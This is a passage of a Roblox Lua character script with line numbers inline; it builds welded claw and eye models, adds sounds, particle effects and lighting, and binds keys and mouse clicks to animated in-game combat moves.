Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2735
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2736
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2737
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2738
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2739
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2740
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2741
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2742
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2743
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2744
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2745
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2746
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2747
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2748
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2749
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2750
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2751
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2752
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2753
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2754
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2755
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2756
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2757
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2758
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2759
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2760
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2761
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2762
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2763
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2764
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2765
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2766
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2767
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
2768
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2769
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2770
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2771
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2772
2773
local modelzorz3=Instance.new("Model") 
2774
modelzorz3.Parent=Character 
2775
modelzorz3.Name="Eye"
2776
2777
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2778
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
2779
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
2780
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2781
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2782
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
2783
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
2784
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2785
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
2786
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(3.79999995, 4, 1.39999998))
2787
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2788
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
2789
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
2790
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
2791
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
2792
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2793
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
2794
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2795
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
2796
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2797
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
2798
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
2799
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
2800
local moosick = it("Sound",Character)
2801
moosick.SoundId = "rbxassetid://613035749"
2802
 --142653441, 175067863
2803
moosick.Looped = true
2804
moosick.Pitch = 0.9775
2805
moosick.Volume = 1.5
2806
moosick:Play()
2807
2808
anim = Character:findFirstChild("Animate")
2809
if anim then
2810
anim:Destroy()
2811
end
2812
2813
local particleemitter = Instance.new("ParticleEmitter", Handle)
2814
particleemitter.VelocitySpread = 180
2815
particleemitter.Lifetime = NumberRange.new(0.1)
2816
particleemitter.Speed = NumberRange.new(2)
2817
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2818
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2819
particleemitter.Rate = 100
2820
particleemitter.Rotation = NumberRange.new(-45, 45)
2821
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2822
particleemitter.LightEmission = 0.8
2823
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2824
2825
local particleemitter = Instance.new("ParticleEmitter", Handle2)
2826
particleemitter.VelocitySpread = 180
2827
particleemitter.Lifetime = NumberRange.new(0.1)
2828
particleemitter.Speed = NumberRange.new(2)
2829
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
2830
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2831
particleemitter.Rate = 100
2832
particleemitter.Rotation = NumberRange.new(-45, 45)
2833
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2834
particleemitter.LightEmission = 0.8
2835
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2836
2837
local particleemitter = Instance.new("ParticleEmitter", handle)
2838
particleemitter.VelocitySpread = 180
2839
particleemitter.Lifetime = NumberRange.new(0.1)
2840
particleemitter.Speed = NumberRange.new(2)
2841
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
2842
particleemitter.RotSpeed = NumberRange.new(-45, 45)
2843
particleemitter.Rate = 100
2844
particleemitter.Rotation = NumberRange.new(-45, 45)
2845
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
2846
particleemitter.LightEmission = 0.8
2847
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
2848
2849
local light = Instance.new("PointLight", Character.Torso)
2850
light.Color = Color3.new(255,255,255)
2851
light.Brightness = 5
2852
light.Range = 15
2853
2854
particleemitter.Enabled = true
2855
2856
local Footsteps = it("Sound",Character.Torso)
2857
Footsteps.SoundId = "rbxassetid://142665235"
2858
Footsteps.Looped = true
2859
Footsteps.Pitch = 0.8
2860
Footsteps.Volume = 0.3
2861
2862
local Footsteps2 = it("Sound",Character.Torso)
2863
Footsteps2.SoundId = "rbxassetid://142665235"
2864
Footsteps2.Looped = true
2865
Footsteps2.Pitch = 1
2866
Footsteps2.Volume = 0.4
2867
2868
local cam = game.Workspace.CurrentCamera
2869
2870
--cam.CameraSubject = Character
2871
2872
for i,v in pairs(Head:children()) do
2873
    if v:IsA("Sound") then
2874
        v:Destroy()
2875
    end
2876
end
2877
2878
mouse.Button1Down:connect(function()
2879
        if attack==false and attacktype==1 then
2880
                attacktype=2
2881
                attackone()
2882
        elseif attack==false and attacktype==2 then
2883
                attacktype=3
2884
                attacktwo()
2885
		elseif attack==false and attacktype==3 then
2886
				attacktype=4
2887
				attackthree()
2888
		elseif attack==false and attacktype==4 then
2889
				attacktype=1
2890
				attackfour()
2891
        end
2892
end)
2893
2894
mouse.KeyDown:connect(function(k)
2895
	k=k:lower()
2896
	if k=='e' then
2897
		if attack==false and mana>=20 then
2898
			Push()
2899
		end
2900
		elseif k=='g' then
2901
		if attack==false and mana>=50 then
2902
			Twirl()
2903
		end
2904
		elseif k=='v' then
2905
		if attack==false and mana>=25 then
2906
			MagicJump()
2907
		end
2908
		elseif k=='c' then
2909
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2910
    attack=true
2911
        for i = 1, 40 do
2912
          swait()
2913
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2914
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2915
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2916
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2917
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2918
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2919
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2920
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2921
        end
2922
			Blaze()
2923
attack = false
2924
end
2925
		elseif k=='x' then
2926
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
2927
    attack=true
2928
        for i = 1, 15 do
2929
          swait()
2930
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
2931
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
2932
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
2933
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2934
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
2935
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
2936
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
2937
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
2938
        end
2939
so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
2940
so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
2941
for i = 0, 30 do
2942
	BlastEffect(BrickColor.new("White"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
2943
wait(0.1)
2944
end
2945
local parteffected = Instance.new("Part",tors)
2946
parteffected.Transparency = 1
2947
parteffected.Position = tors.Position
2948
parteffected.CanCollide = false
2949
parteffected.Anchored = true
2950
so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
2951
so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
2952
BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
2953
MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
2954
MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
2955
BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
2956
        local sbs = Instance.new("BodyPosition", RootPart)
2957
        sbs.P = 3000
2958
        sbs.D = 1000
2959
        sbs.maxForce = Vector3.new(500000, 500000000, 500000)
2960
        sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
2961
        for i = 1, 40 do
2962
          swait()
2963
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
2964
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
2965
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
2966
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2967
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
2968
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
2969
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
2970
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
2971
        end
2972
wait(3)
2973
			Blaze2()
2974
attack = false
2975
parteffected:Destroy()
2976
sbs:Destroy()
2977
end
2978
		elseif k=='q' then
2979
		if attack==false then
2980
		idle=1000
2981
		end
2982
		elseif k=='h' then
2983
		if attack==false then
2984
		mana=100
2985
		end
2986
		elseif k=='y' then
2987
		if attack==false and mana>=100 then
2988
			Shred()
2989
		end
2990
		elseif k=='f' then
2991
		if attack==false and mana>=40 then
2992
			Spin()
2993
		end
2994
		elseif k=='r' then
2995
		if attack==false and mana>=20 then
2996
			Clap()
2997
		end
2998
		elseif k=='t' then
2999
		if attack==false then
3000
			Hai()
3001
		end
3002
		elseif k=='0' then
3003
		if attack==false then
3004
			Humanoid.WalkSpeed=(24)
3005
		end
3006
		elseif k=='j' then
3007
		if attack==false then
3008
			Humanoid.Health = 10
3009
			print("Congrats, you commited suicide.")
3010
		end
3011
	end
3012
end)
3013
3014
mouse.KeyDown:connect(function(k)
3015
if k == "z" and Ultramode == false then
3016
if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3017
                attack = true
3018
        for i = 1, 15 do
3019
          swait()
3020
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
3021
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
3022
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
3023
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3024
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
3025
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3026
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
3027
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
3028
        end
3029
m:Destroy()
3030
local m = Instance.new("Model", Character)
3031
m.Name = "WeaponModel"
3032
local parta = Instance.new("Part",Character)
3033
  parta.Size = vt(10,10,10)
3034
  parta.BrickColor = BrickColor.new("White")
3035
  parta.Material = "Neon"
3036
  parta.Shape = "Ball"
3037
  parta.Transparency = 0
3038
  parta.Anchored = true
3039
  parta.CanCollide = false
3040
  parta.CFrame = tors.CFrame
3041
                Transform()
3042
parta:Destroy()
3043
3044
local modelzorzz=Instance.new("Model") 
3045
modelzorzz.Parent=Character 
3046
modelzorzz.Name="Claw1"
3047
3048
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
3049
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
3050
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
3051
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3052
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
3053
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
3054
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
3055
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
3056
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3057
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
3058
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3059
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
3060
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3061
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
3062
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3063
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
3064
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3065
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
3066
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3067
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
3068
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1))
3069
